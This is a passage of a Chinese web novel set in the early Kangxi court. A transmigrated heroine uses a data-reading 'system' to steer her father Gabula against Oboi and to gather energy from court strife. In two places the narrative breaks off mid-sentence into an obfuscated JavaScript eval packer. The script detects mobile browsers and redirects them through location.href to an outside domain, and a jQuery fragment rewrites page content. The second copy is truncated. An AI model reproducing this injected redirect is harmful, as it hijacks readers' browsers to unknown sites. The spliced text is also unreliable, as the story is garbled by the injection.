就在昨日,他因近乎莫须有的罪名被弹劾,如今连往日的同僚都对他避之不及。 只有同科的陈廷敬,指点了他一条生路。 雨水顺着车篷缝隙滴落在他的官服上,晕开一片片深色的水渍,仿佛他此刻灰暗的心境。 他握紧了怀中的拜帖,那是送去葛布喇大人府上的。 想起朝堂上葛布喇大人为汉臣据理力争的身影,再看看自己如今的处境,心中的天平逐渐倾斜。 系统捕捉到这一能量波动,【汉臣投靠意向值】悄然上升。珠兰察觉到后,若有所思,汉臣··· 索尼宅邸的书房中,檀香缭绕。 老狐狸转动着翡翠扳指,每一次摩擦产生的微弱静电,都被系统转化为【翡翠扳指转动频率:15次/分钟】的监测曲线。 珠兰转了转自己手腕上的同料翡翠镯子,有点大,转不利索。 当鳌拜的使者带着地契来访,两人交谈时声波震动空气产生的能量波纹,经系统解析后,还原出【语气关键词:世袭罔替、圈地利益】的危险信号。 家里有爵位,但是要递减。家里有儿子,都不怎么成器。待使者离开,索尼望着窗外被雨水打弯的翠竹,轻叹一声。 他叫来大儿子葛布喇,语重心长道:“如今三藩蠢蠢欲动,南明余孽未除,八旗若内耗过度,大清根基将危。记住,朝局要斗而不破啊。”系统记录下这段对话产生的能量波动,【索尼中立指数】依旧维持在高位,但【父子理念共鸣值】却有所提升。 葛布喇自成亲生子后,大有进益。他是原本不对长子抱希望的,毕竟这孩子从小就不开窍。如今虽还是不开窍,行事却有几分风骨。这样的硬骨头,虽不像我家的风格,却又非一无是处。如今看着,这样也不错。 赫舍里家也有难念的经,这孩子顶在前头,未尝不是破局之路。 索尼的关注始终在前朝,于后宅所知不多,并未想到儿子的转变是孙女带来的,对孙女的印象也停留在普通勋贵女子的范畴,顶多是足够优秀,有国母风范便是最高评价了。难道还指望,家里的女娃娃能有太皇太后之姿不成。他老了,指望不上孙女。 雨越下越大,神武门的换岗仪式在雨中进行。 随着珠兰与太皇太后、皇帝等宫中人物的亲密度提升,随着葛布喇话语权的扩大,系统的能量收集范围开始突破局域空间限制,走出皇城。 珠兰的稳当,很大程度上是系统开的全地图视角带来的。 当初她可以选择让系统通过给自己加点的方式,成为文武超人,达到世界准许的巅峰境,以此便于完成任务。 但考虑到本世界能力上限过低,林昭然选择,改变自己不如转变他人,实验一种可持续的新疗法。毕竟观测点直接作用于人,有没有副作用,是需要试验的。 现在看加点最多的父亲葛布喇,副作用还是比较明显。 新换岗的侍卫甲胄摩擦产生的热能、脚步声震动地面产生的动能,被系统敏锐捕捉,转化为【宫廷防卫人员异动率+230%】的红色警告。 珠兰在宫中,通过系统“看”到父亲书房的能量场异常聚集。 【葛布喇书房热源聚集:5人】且持续三刻钟,她立即调取声音振动频率解析——虽然无法听见内容,但通过【对话激烈程度:7.2级】【关键词出现频率:军籍、腰牌、轮岗】的数据组合,成功还原出父亲正在部署新的布防策略,加强对宫廷的守卫,以防不测。 因为对世界推动幅度较小,系统很多功能还在休眠,目前用起来是有很多需要自行分析猜测的部分。珠兰揉了揉眉心,虽然每日用脑过多,总会疲乏,但她还是忍住了走给自己加点的捷径。 与此同时,鳌拜府中灯火通明。 当珠兰成功利用葛布喇影响马佳氏家族的政治倾向后,系统首次接收到鳌拜府的能量信号:管家传递密信时衣摆带动的气流变化,转化为【密信传递频次:每时辰4次】;权臣踱步时鞋底与青砖的摩擦热能,形成【鳌拜焦虑指数:38%】的波动曲线。这些原本遥不可及的能量信号,正随着她影响力的扩大,逐渐纳入观测范围。 葛布喇就是她放在宫外的能量转换器,他的地位越高,实力越大,能量辐射区越广。 关于望父成才这件事,珠兰做到了。 现在可以展望一下随着葛布喇在前朝大杀四方,得到丰厚回报的前景了。 一本万利也! 考虑到本世界女子所能利用的,是父、夫、子三重身份,为了利益最大化,珠兰也在考量未来夫婿人选。 虽然系统分析,太皇太后大概率将她纳入了康熙后宫人选,但人不能只有一条路走,皇帝那边得看着点数据反馈,备选该找还是得找。 若是将来留京,是一重。若是将来随夫去地方,又是一重。甚至,还有可能与宗室女一道入蒙古。守寡,则也不是没可能。 珠兰今年已经十二岁了,以八十寿记,没多少年了,她有好些大事要做呢,不然临走时给时空局交不上足够的能量,乐子就大了。 管家小心翼翼地呈上一份名单,“大人,这是赫舍里氏新调入的侍卫。” 鳌拜阴沉着脸,他猛地停下,眼中闪过一丝狠厉,“把他们的底细查清楚,该换的人...总要换的。” 府外的雨愈发猛烈,仿佛预示着一场更大的风暴即将来临。系统显示【禁卫军控制权争夺指数:68%】,一场不见硝烟的岗位争夺战,正在皇城的每个角落悄然上演。 珠兰看了看,又看了看,目前插不上手。只能继续给老父亲加点,争取把他的庙堂三维尽快向祖父推进。 葛布喇的思绪清明,鳌拜想在宫里动手脚,咱家也不好捏。叫来下值的三弟,如此那般交代一番。索额图应声而去,十分信服的样子。他此时也才二十几岁,和大哥差着岁数,恭敬有之,惧怕有之。 从他往下的弟弟们,基本没见过葛布喇年少时不得志又不得子的倒霉样子,他们懂事时,葛布喇就开始受到顺治的赏识了。索尼也是夭折了不少孩子的,所以葛布喇和三弟往下的弟弟都差着岁数,甚至是差着一代人。他的长子长女来的也晚,这才没有侄子比叔叔大的事儿出现。 这些倒霉弟弟,也就是三弟索额图还能用。后面的四五六,基本是废了,文不成武不就,吃不了苦,又不像自己那么能熬。 如今,葛布喇手上是有兵权的,领侍卫内大臣是皇帝贴身侍卫的最高长官,统辖上三旗(镶黄、正黄、正白)侍卫,包括一等侍卫、二等侍卫、三等侍卫及亲军等,负责皇帝日常起居、朝会、出巡等场合的安全护卫,可直接调动宫廷禁军。负责紫禁城各重要宫门(如午门、神武门等)的值守调度,对进入宫廷的人员、物品有审查权,掌握宫廷核心区域的门禁安全。 虽然他调不动一些人,却也不是全无手段。 鳌拜作为镶黄旗都统,对旗务有一定干预权,以辅政大臣身份影响旗内官员任免、土地分配等事务。“圈地之争”中,鳌拜本意便是借旗务扩大势力。 他下一步定然想抢夺自己这个领侍卫内大臣的职权,必然会奏请任免侍卫、亲军等职位。作为辅政大臣,他的奏请会通过的。 但是自己也可以通过安排侍卫轮值、考核奖惩,通过控制侍卫队伍的人事构成,培植亲信势力,打压他鳌拜的人手。 葛布喇也不知道自己哪里来的对鳌拜那么大的敌意,但是他不管这个,总之是死敌就对了。 慈宁宫的抄经堂里,太皇太后手持佛珠,闭目不语。【阅读奏折时长:每日3.5小时】与【召见大臣频率:每周2次】的数据看似平静,却在【葛布喇忠君行为监测值:95%】出现时,短暂跃升至【关注指数:71%】。 系统监测到她指尖与佛珠的摩擦能量,在特定频率下与朝堂的能量波动产生呼应。珠兰注意到【太皇太后焚香次数:冲突日增加40%】——这个细微生理习惯的改变,暗示着老祖母正饶有兴致地观察着朝局演变。系统给出【放任策略成功率:83%】的评估,精准诠释了她“引蛇出洞”的盘算。 老祖母看似超然物外,实则在冷眼旁观这场权力博弈,她在等待,等待更多的人跳出来,等待局势更加明朗。 索尼是好人吗,不见得。鳌拜是坏人吗,不见得。 夜色如水,康熙轻手轻脚走进慈宁宫。 顾问行弓着背守在外头,小太监梁九功左右瞅了瞅,颠颠跑去茶房,仗着嘴甜,给爷爷讨了一杯来。顾问行拍了拍小太监脑门,接过来一口闷了。 烛火摇曳下,太皇太后放下手中书卷,看着孙儿紧锁的眉头,已然知晓来意。她爱读汉人的书,不爱看翻译的本子。 “皇祖母,朝堂如今乱象丛生,儿臣究竟该如何是好?”少年天子的声音带着迷茫与焦虑,系统适时弹出【康熙困惑值:88%】。 珠兰见康熙的数值发生了波动,便同步拉出几个人的数值进行比对,确认他应是到了慈宁宫。 系统通常不显示地点,这点需要改进。珠兰揉了揉眉心,算计了一番手里的观察点,给系统升级的事儿急不得。 太皇太后招了招手,待孙儿在身边坐下,才缓缓开口:“记住,忠于你的人,切不可亏待。鳌拜忠于你父皇不假,你父皇给了他辅政大臣的位置,但人心易变,要看他的所作所为,而非过往情分。索尼老谋深算,亦不可全信。四辅政之臣虽受你父皇重托,可他们是否忠于你,还要看你的手段。莫要因他们与先帝的情分,便轻信于人。” 康熙思索片刻,抬眼问道:“那葛布喇呢?索尼的长子,如今看来是忠于儿臣的。” 殿内突然陷入寂静,唯有烛芯爆裂的声响。 系统显示【孝庄思索值:90%】,良久,太皇太后才叹道:“葛布喇的忠君之心,纯粹得近乎执拗,倒像极了前明那些不惜以死明志的愚臣。可这,正是我爱新觉罗氏的福气,你要好生珍惜。”这个人啊,愚昧,但是可靠。 康熙重重地点头,眼中有了光亮。 太皇太后抚着他的头,语重心长道:“你尚年幼,一来许多事还看不透,二来能力不足。如今唯有一‘忍’字。一边隐忍,一边学习,一边暗中观察。待时机成熟,方能一击制胜。” 少年天子将这番话牢牢铭记于心,此刻的他虽身处迷雾,但在祖母的指引下,终于寻得了一丝方向。 而这一切,都被暗处监测的系统完整记录,化作不断跳动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702614|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数据,预示着朝局即将迎来新的变数。 康熙元年,已然提前拉开党争的大戏,都明明白白化作数据,摆在珠兰面前。 深夜,御书房的烛火摇曳,小太监梁九功守着,大太监顾问行见他还算伶俐,这才歇一口气,去安排明天的事儿了。 太皇太后严格控制着乾清宫的大小事,太后娘娘们都不能随意过来,更不容许皇上的奶妈保姆靠前,好在现在皇上还小,自己这把老骨头还顾的过来。 乾清宫的太监,既要明理,又要不识字,不好带啊。 康熙再次拿出葛布喇呈上的密信,反复研读,烛光将他稚嫩的脸庞映得忽明忽暗。 系统监测到此处能量密度比平日高出三倍,蜡烛燃烧的热能、纸张翻动的动能,以及少年天子反复摩挲密信时手部肌肉运动产生的生物电能,共同构成【康熙深夜活动频率:+350%】的跳动曲线。 珠兰放大能量频谱图,发现其中夹杂着高频焦虑波——这正是【决策犹豫度:88%】与【康熙怀疑指数:79%】的能量具象化表现。 这般高的疑虑,证明少年天子对谁都不信任。他似乎信任自己的祖母,听祖母的话,却又对她的不作为感到困惑;他似乎信任葛布喇,却又对索尼的态度心存疑虑。这种矛盾与挣扎,在能量波动中显露无遗。 这样的一个人,什么会触动他呢?珠兰思索起来。 放下皇帝这边,珠兰将【葛布喇行动轨迹】与【汉臣求助频率】进行交叉运算,当【保皇联盟成型概率】突破75%的瞬间,她开始主动干预局势。 支出1000点,引导葛布喇在宫外散播系统精心编造的歌谣,制造带有情绪煽动性的舆论能量波,成功将【镶黄旗舆情负面值】从81%推升至89%。 适当逼迫一下鳌拜,让这个权臣更急迫更嚣张,才能显得出忠臣葛布喇的可贵。局势浑浊了,小鱼才会考虑找避风港,汉臣中有几个可用之人,比如陈廷敬,是珠兰想要的。 权臣运筹帷幄执掌天下,对世界而言,比不上会河工、会算账、会造火枪的人才更重要。 雨渐渐停了,天边泛起鱼肚白。 珠兰感受着系统传来的能量震颤——那是系统吸收了整夜能量波动后的反馈。【朝局动荡指数】已攀升至91%,而【能量收集半径】数值的缓慢增长,预示着她的影响半径正在不断扩大。 这日午后,雨过天青。 葛布喇应召前来慈宁宫拜见太皇太后,穿过回廊,他在抄经堂外整了整衣冠,才缓步踏入。 太皇太后端坐榻上,手中佛珠轻响,“噶布喇啊,这朝局动荡,你可要把握好分寸。” 葛布喇跪地叩首,“奴才定当竭尽所能,护我大清江山。” 两人交谈间,系统监测到【孝庄对葛布喇信任值】微微波动,而葛布喇额头沁出的细汗,也被转化为紧张情绪的数据。 待召见完毕,葛布喇走出抄经堂,在慈宁宫的小花园里,意外见到了珠兰和塔娜。父女如此相见,真的就是恩典了。 春日的阳光透过花架,在地上洒下斑驳的光影,玉兰花瓣随风飘落,宛如一场无声的舞蹈。 他心中了然,这定是太皇太后的安排。自己的每一个眼神、每一句话,都在那双睿智的眼睛注视之下。 “阿玛。”珠兰福了福身,目光清澈而沉稳,亲近又欣喜,并不超出一名少女该有的表情。 塔娜则躲在姐姐身后,怯生生地唤了一声。许久未见,她竟然有些生疏之感。 葛布喇看着女儿,珠兰眼中闪烁着聪慧,但这种聪慧是恰到好处的,而非多智近妖的。 他压低声音,装作不经意地说:“在宫里,要多看多听少说。太皇太后英明神武,伺候好她老人家便是为父最大的心愿。”他顿了顿,又低声道:“至于那边……赫舍里家的女儿,当以端庄自持。” 珠兰微微颔首,心中明白父亲的意思,说的那边指向的自然是乾清宫。 送入宫里的贵女们,都可以见自己的父母,自然开始出现不同的倾向,虽然现在还是丧期,感情却是可以培养的, 她轻声回应:“女儿谨记阿玛教诲,定不会让您和祖父失望。” 葛布喇看着女儿镇定的模样,心中骄傲,小小年纪,如此通透。转念又想,我的女儿啊,在宫里受罪了,竟然连贴身侍女都没有给配上。他基本可以算是中年才得了子女缘分,有了这几个儿女后,珠兰也是他心中最重要的孩子。起名字时,便是朝着光明灿烂的意象寻的,生怕有半点不好落到这孩子身上。 这般想着,葛布喇眼圈就红了。 珠兰一愣,这是亲密度刷太高了,她只好配合着也红了眼圈。 塔娜看看父亲,又看姐姐,“宫里不许哭的。” 暮色给慈宁宫的飞檐镶上金边时,珠兰目送父亲的身影消失在红墙转角。 系统显示【葛布喇离宫能量波动】趋于平缓,却在三刻钟后骤然监测到【能量异常聚集】——苏麻喇姑手持金托盘,带着四名宫女穿过垂花门,廊下铜铃轻响惊起两只白鸽。 “赫舍里家的姑娘们,这是噶布喇大人让送来的。”苏麻喇姑掀开湘妃竹帘,托盘上的红檀木食盒还冒着热气。 珠兰注意到嬷嬷眼角的细纹随着话语轻颤,系统立刻解析出【苏麻喇姑观察强度:89%】——太皇太后的眼线正在评估她们的反应。 塔娜率先扑到妆奁前,金丝八宝攒珠髻、玛瑙璎珞圈在夕阳下泛着温润的光。“是玛瑙璎珞圈!还有茯苓糕!”九岁的小姑娘举着缀满东珠的项圈转圈,裙摆扫过青砖发出沙沙声响。 系统面板弹出【塔娜愉悦值:92%】的峰值,“阿玛还记得我最爱豆沙味。”塔娜咬着糕点,嘴角沾着糖霜,她现在又不生疏了。 珠兰露出与塔娜一样的欣喜,然后克制着轻轻替妹妹拭去碎屑,指尖触碰到对方手腕时,系统显示【姐妹情感共鸣值:+5%】。 她望着妆奁里略显过时的牡丹纹样簪花,在心里迅速计算:这些带着旧年关外样式的首饰,若在宫宴上佩戴,既能展现父亲的关怀,又能不着痕迹地传递赫舍里氏恪守旧礼的家风。 想到葛布喇在朝堂争斗间隙,亲自挑选这些物件的场景,系统弹出【葛布喇疲惫值:91%】——这位铁血臣子在女儿面前,终究只是个笨拙的父亲。 她心中已有计较,明日请安时让妹妹佩戴那玛瑙璎珞圈。 6. 清澜能量 康熙元年至二年间,紫禁城檐角的铜铃在风中摇晃,却掩不住朝堂上愈演愈烈的暗潮明波。 珠兰立在慈宁宫抱厦的廊下,看着海棠花谢了又开,而前朝的争斗,远比这四时更替更为惨烈。系统传来持续的震颤,系统面板上【朝局混沌指数】从82%攀升至97%,猩红的数字如同即将决堤的洪水。 前朝之上,四大辅臣遵循顺治遗诏把持朝政,却各怀心思。 鳌拜凭借松锦之战、征讨张献忠的赫赫军功,无人可压制于他,在辅臣中愈发强势。他蟒袍上的金线随着动作闪烁,每次在辅政会议上发言,系统监测到的【气场威压值】都急剧攀升。 只是一个领侍卫内大臣的葛布喇,就算再加上一个佟国纲,显然不能完全阻挡鳌拜的发挥。 鳌拜的蟒袍金线愈发耀眼,系统监测到其府邸每日进出的马车携带的能量波动,足以与宫廷防卫系统抗衡。这种能量,代表是势力。 珠兰观测过鳌拜的行动,只要不惧牺牲,那么势力本身也可以化为能量。这足以供她在某些不凑手的时刻搪塞时空局,虽然损伤的精英多了,这会大大得罪世界。不过,无论如何自己这边的人自然是越多越好,做孤家寡人显然不符合她的利益。 与前面的任务世界不同,本世界与她的来处可谓同源同种,不到逼不得已,她不会竭泽而渔。 系统分析,孤臣忠君之路,是最容易讨好康熙这种从小就猜忌之心大盛的皇帝的,也是最好提升亲密度的。 如果葛布喇的朋友再少些,如果他不是与佟国纲惺惺相惜,他和皇帝的亲密属性就能快速突破60了。 但是这不符合收集能量的需求,珠兰pass掉了这条路,没有用观察点改变葛布喇的交际属性。 显然,葛布喇需要走一条真心换真心之路了。 珠兰不断评估着康熙的数值,小皇帝不好攻略,她还有些懒,自家祖父都没下多大功夫去刷亲密度,羊毛只薅一个葛布喇的。 可是,作为皇帝,从康熙着手,能得很多很多能量。 说回正题,尽管葛布喇掌控着宫廷禁卫,可九门提督府的能量场已被缓慢渗透,两黄旗的军权也在人家手里。 康熙得知宣武门换防士兵腰间公然携带刻着鳌拜私印纹路的令牌,攥紧龙椅扶手的指节再次泛白。他还年少,面上学着不动声色了,手还控制不好。 这位权臣在两黄旗的簇拥下日益骄纵,系统记录的【鳌拜嚣张阈值】突破临界点时,其党羽甚至敢在乾清宫外大声喧哗。 他与苏克萨哈的矛盾日益尖锐,两股能量场在朝堂上激烈碰撞,【党争激化指数】以惊人的速度增长。 多可惜啊,这些能量要是都给我,就好了。珠兰看着那些注定要损耗掉的能量,扼腕。我怎么就不是皇帝呢,我要是皇帝的话··· 而索尼手中的翡翠扳指转动得愈发频繁,【决策犹豫频率】高达每分钟18次。在辅政会议上,他时而顺着鳌拜“恢复旧制”的提案颔首,裁撤十三衙门,恢复内务府旧制,【鳌拜信任误判值】短暂飙升;时而又以“需查旧例”为由,生生搁置打压汉臣的奏折,致使【汉臣依赖指数】转向赫舍里氏。 如果有一天她做了赫舍里氏的当家人,那么这些势力所带来的能量自然就都是她支配了。 皇帝是当不上的,珠兰就开始思考,在索尼死后,利用葛布喇掌控赫舍里全族,能做到什么程度。 想来想去,赫舍里全族能做的事,顶不上皇帝万分之一。 当苏克萨哈弹劾鳌拜圈地逾矩时,索尼竟当众掏出泛黄的《八旗田亩录》,书页翻动间,【两白旗希望值】短暂亮起,可次日又默许遏必隆对正白旗的刁难。 寿宴上,他既接受鳌拜送来的珊瑚盆景,又将葛布喇呈递的密折暗藏袖中,将朝局搅成浑水。 珠兰在这场乱局中化身幕后操手,通过父亲葛布喇的人脉网络,将掺假的各类“两黄旗怨愤数据”传递给鳌拜的密探——那些夸大其词的民情歌谣、伪造的八旗兵丁请愿书,如同慢性毒药,不断刺激着权臣的野心。在他志得意满之时,也是被两黄旗簇拥的繁花似锦时,更是被裹挟而不自知时。 实际上,鳌拜这方的进度不该如此快,但耐不住有推手的助力。无论是自己入局,还是妹妹遵循历史,成为皇后,显然打趴下鳌拜都是第一要义。 珠兰翻了翻系统,看了看索尼的行事,决定做两套计划为好。 当系统显示【两黄旗激进派失控率】突破80%时,她知道,鳌拜已被架在欲望的火堆上炙烤,下不来了。 就在那一天,珠兰获得了“清澜”级的能量结晶。上交时空局后,不止抵三年所需,她还能留下不少能量自用。 涟漪、清澜、碧浪,这是能量结晶的前三个等级。 虽然她暂时没悟到为何这一次居然轻易得了能量,但世界显然认为她的做法助推了历史进程,而且是一大步。能量来的这般轻易,让珠兰顿时生出无端躺赢之感。在鳌拜身上薅羊毛,常薅常有呢。 只要让鳌拜提前下线,所得应该会是“碧浪”级的能量结晶。 某次宫宴后,故意安排人遗落的某汉臣密函,成功诱导鳌拜发动新一轮清洗。 鳌拜志得意满,却不知这正是将他推向深渊的关键推力。 葛布喇在清洗后收拾残局,即便他只是为了反对鳌拜而做事,但也实实在在救了人命,得了不少暗地里的投效。珠兰对此,乐见其成,这些都是日后她的能量。 汉臣都倾向于直接效命于皇帝,不敢依靠权臣勋贵,但如果某一勋贵本身就是皇帝这边的,也是好办的。 与此同时,大清的疆域之上也不平静。 福建水师奉命进攻金门、厦门,郑经率领的抗清势力被迫退守台湾,系统记录的【沿海战事进度】不断更新。 珠兰看的眉头紧皱,此事目前也不在她的影响范围内,只能眼睁睁看着能量散逸。当皇帝好啊,还是。 世界进程中,并非全程向前。在不断螺旋上升的过程中,会在螺旋时损失很多能量,珠兰想要的正是这部分能量。这部分本就是世界进程中会损失掉的,改变进程后被她拿走,则世界抵抗基本没有,甚至还有意外的奖励。 而持续推行的“迁界令”,让沿海地区的【民生受损指数】直线上升,无数百姓被迫内迁,流离失所。 这种行为毫无疑问是损害世界发展的,如果由她进行改变,则又能得至少“碧浪”级的能量结晶。 可惜,插不上手。除非是直接给皇帝加点,而且皇帝必须亲政,否则很多大事即便是葛布喇也全然说不上话的。 但是皇帝的亲密度太难刷了,珠兰感觉突破临界值需要一个重要契机。以皇帝当前的高警惕和防范之心,这事儿急不得。 在西南,吴三桂奏请整修云南至缅甸的道路,表面上是巩固边疆,实则在扩张个人势力,【三藩隐患值】悄然积累。 这其中,会有不少机会。既然无法改变,便要从中得些好处才行。珠兰筹谋着,暗中通过系统让葛布喇培养安插了不少亲信到军中,只等着打仗了。军功最重,不可不察。若非四五六三个叔叔不是这块料子,送去军中才是最优解。 她是任务者,第一反应是捞好处,第二反应才是生灵涂炭,必须缩短战争时间,控制战争规模。 这个时期朝中热闹比三藩好看,目前四大辅臣都没料到三藩很快会反。赫舍里氏放弃部分京畿利益,抢先布局南边,还能安排到好位置。此事,葛布喇想不到,系统可以帮忙想。但具体哪些位置能安排,又要派哪些人去,就要看葛布喇自己的了,那些观察点加起来的数据,也不是白给。葛布喇的办事能力,没毛病。 后宫之中,太皇太后虽不直接干政,却在幕后掌控着大局。她主持制定一系列后宫礼仪制度,从服饰规制到起居规范,每一项都经过精心考量。 内务府对宫廷事务的管理愈发严格,“宦官不得干预朝政”的禁令被反复重申,【太监权力限制值】始终维持在低位。顾问行的背弓着,头都不敢抬。 寿康宫内,康熙的生母慈和皇太后与嫡母仁宪皇太后,如同笼中金丝雀般,虽居太后之位,却处处受限。 慈和皇太后生性温婉,每日在宫室中安静刺绣,绣线穿梭间,将满心牵挂化作对儿子的思念。 仁宪皇太后天性纯善,常对着宫中新开的花朵露出欣喜笑容,却也深知宫廷中的生存之道,行事谨慎。 太皇太后出于对朝局的考量,限制两位太后与后宫年轻贵女接触,珠兰与塔娜也鲜少能见两位太后尊颜。 珠兰只在有限的几次见面时,发现了一些慈和太后的小动作,系统分析后,她练习了多次,以备之后使用。如果没记错,这位太后寿数不长。 两位太后虽心系康熙,却只能在太皇太后许可下,小心翼翼地表达关怀。 某个雪夜,慈和皇太后精心制作了一碟梅花酥,却要先遣宫人请示太皇太后,得到应允后,才敢命人送往乾清宫。 仁宪皇太后想为康熙添置一身新衣,样式、颜色都要反复斟酌,生怕逾矩。 她们不敢为母家谋取利益,甚至在朝堂风波起时,连过问一句都要再三思量,每日战战兢兢,唯有案头一封封未寄出的家书,和深夜里一声声无奈的叹息。 慈宁宫抱厦内,珠兰与小姑娘们的生活与前朝形成鲜明对比。 每日卯时,她们开始满文诵读,【文化素养值】稳步提升;未时则专注于纺织刺绣练习,【女红精湛度】达到宫廷优等。 这些都不是贵女的必修课,京中大部分贵女学的是管家和账目。但是宫中不教这些,珠兰就自己给塔娜偷着补课,若是亲密度十分高的妹子将来不懂经济道理,岂非是等于自己废了大半武功。 塔娜听话,从不与旁人提起姐姐给自己补课的事。她常与阿日娜苏在花园嬉戏,追逐蝴蝶的笑声惊起廊下白鸽,系统弹出温馨的【纯真友谊指数】。但是,两个小姑娘都守着各自的秘密,谁也不吐露分毫。 而珠兰在抄经时,看似虔诚,视网膜上却始终浮动着【朝局推演模型】。她对太皇太后与皇帝,皆是恰到好处,因为再如何,亲密值也是突破不到60,既然如此,不如学索尼观望一下。 另一边,钮祜禄萨琳在额娘的不断催促下急于表现。遏必隆家中的形势,不比前朝混乱之局好太多。额娘是侧福晋,乃是多妻制下的受益者,不可以妾论,有子有女有宠爱,自然对爵位家产觊觎之心大盛,可大福晋也有自己的儿子。 本来她是按照阿玛的指导,照着赫舍里氏的做派来,还要比她更端庄大气才行。 但是额娘不这么认为,在额娘几次传授经验后,萨琳觉得额娘说得对,女子才更明白后宅的道理。 她发现纳喇玉宁诗词唱和多次吸引了皇帝,便刻意在康熙路过时展示才情,效果显著。 比起体贴温顺、活泼可爱,这个岁数的康熙对文艺范的才女总会多一些话儿好说。 至于赫舍里家的大格格,那是因她阿玛太突出的缘故,早早在皇帝心中有了位置。可谓,躺赢。 可惜,遏必隆或者说他的侧福晋妄图借女儿上位的算盘,即便康熙暂时看不透,在太皇太后的冷眼旁观下,不过是徒增笑柄。 上赶着不是买卖,索尼深以为然。 垂花门内的紫藤架下飘着淡淡花香,索尼斜倚在檀木榻上,手中的翡翠扳指转动,目光扫过坐在下首的长子葛布喇与三子索额图,“太皇太后已经暗示了皇后之事,你们说说,咱家该如何是好?”这位老祖宗,想要拿捏他的两个孙女,好让他们家不能借着姻亲两头下注。 索尼对此,有些被看低了的屈辱感。他倒是也不想想,自己平日里的做派,就是给人这么种感觉。 葛布喇挺直脊背,玄色常服洗得发白却浆得笔挺:“父亲,在儿臣看来,皇后选谁并不重要。只要我赫舍里氏一门始终忠于皇上,无论哪位格格入宫,都能为家族与社稷尽份心力。”他的声音沉稳如钟,带着不属于赫舍里的光明磊落。 索额图微微颔首,眸中闪过狡黠,折扇轻点掌心:“大哥所言极是。皇上英明神武,自有他的考量,我等只需恪守本分便是。” 索尼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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若非珠兰忙里忙外,这大儿子一家子都得喝西北风去。他是不爱关注后宅,可孙女的事儿过于突出了,还是知道一二的。就说珠兰留下的几个掌柜,忠心耿耿不说了,半点私心都没有就稀奇,就把铺子庄子都管的井井有条。可大儿子身边就差点了,珠兰留的嬷嬷和婢女,节俭过了,看这衣服半新不旧的,下了不知道几次水了,连朝服都洗的没了颜色,寒酸到家了。 索尼哼了一声,到底没管他大儿子怎么穿衣服。 忠臣,就得这么个德行的。 自己这个奸猾的,如此算计,太皇太后岂会让他轻易得意,索尼心中冷笑,想起老祖宗每次召见时似笑非笑的眼神。 即便清楚老祖宗属意珠兰,可若自家也推举出类拔萃的珠兰,必要适得其反,唯有推出天真的塔娜··· “下次拜见太皇太后时,”索尼看向葛布喇,声音不带波澜,“告诉珠兰,就说我属意塔娜,她明白该怎么做。”他垂眸望向满地花影,将所有算计藏在眼底。 这场无声的博弈里,每个人都是棋子,而太皇太后与他,才是隔着棋盘互相试探的对手。 乾清宫内,少年康熙在烛光下勤奋学习,他的精力十分旺盛,从早到晚的卷,卷起来老师都暗暗大呼吃不消,小小年纪经史典籍、骑射武艺无一不精。 看着他的数值变化,确定这是绝顶的牛马,绝对比葛布喇更合格,珠兰有些心动。 可是他绝对不好控制,性格越强势的人,越难以影响。即便日后观察点能用在他身上了,一千点能换一属性点就不错了,作为天道核心人物,也许还会出现未知的变化。以人入局,就等于绑死在他身上,半点辗转余地都没了,其中的风险不是一点半点。 朝堂的乱象让这位天子心中充满疑虑,他批改奏折时的笔触越来越重,深夜在宫道上徘徊的身影被系统转化为不断攀升的【帝王猜忌指数】。 康熙二年春,紫禁城的玉兰刚落尽最后一片花瓣,寿康宫内便传来压抑的啜泣。 系统紧急弹出【慈和皇太后生命体征归零】的红色警报,【康熙哀伤指数】如断崖般攀升至98%。 皇帝,对他的生母是有极深的感情的。 她隔着抄经堂的窗棂望去,见太皇太后手持佛珠的手微微发颤——这位一生波澜壮阔的女性,在皇孙生母骤然离世的消息面前,也难掩眼底的怔忡。这位,也不是没有感情的纯政治动物。 珠兰觉得,这点得改。 彼时的朝堂正陷入更深的漩涡,鳌拜公然摔了苏克萨哈呈上的沿海战报,还附赠一杯茶水,飞溅的瓷片划伤了遏必隆的手背,系统监测到的【党争暴力指数】首次突破阈值。 索尼转动翡翠扳指的频率达到每分钟23次,却仍以“孝陵修建需耗费心神”为由,不掺和。 而远在云南的吴三桂,借着整修入缅道路的名义,将私兵扩充至五万之众,系统中的【三藩隐患值】如滚雪球般增长。 慈和皇太后的梓宫暂厝巩华城那日,年仅十岁的康熙在灵前长跪不起。 系统捕捉到他剧烈起伏的背部,将其转化为【呼吸紊乱频率:3.2次/秒】的颤抖数据。看这数据,珠兰想到了自己之前学的那些姿态步伐,日后在皇帝面前,可以试探一番。 仁宪皇太后捧着亲手缝制的素白披风想要上前,却在触及太皇太后冰冷的目光后,僵在原地。 这位天性纯善的太后攥着披风的指尖泛白,系统显示【仁宪皇太后焦虑值:87%】——自慈和皇太后病重以来,她数次请求探视都未获应允,此刻连为亡者覆上最后一件衣物,都要看太皇太后的脸色。 此时的康熙,被太皇太后严密的护持起来,谁也不要想妄图接近。后宫只有太皇太后一人,是皇帝的依靠。而前朝,则是只有葛布喇与佟国纲可以见到皇帝哭泣的模样,两人时常跪地安抚悲痛的皇帝。八岁失父,十岁失母,此情何以堪。 可惜,亲密度还是没上60。 珠兰不知道自己阿玛与皇帝的情谊,是如此真挚的。只是看着数据,觉得突破不大。 四月的夜雨敲打宫墙时,珠兰在系统中发现异常数据波动:寿康宫通往慈宁宫的宫道上,【夜间人员流动频率】激增300%。 经分析,竟是太皇太后暗中命人彻查慈和皇太后的遗物。当她看到【佟佳氏家族通讯记录】被全部销毁的提示时,终于明白太皇太后为何始终压制两位太后——这位深谙权力之道的女性,早在多年前就将可能威胁皇权的根系,悄然斩断。 这一点,要学。 慈和皇太后离世后,太皇太后终于松口,允许佟家送女入宫。 7. 西学新知 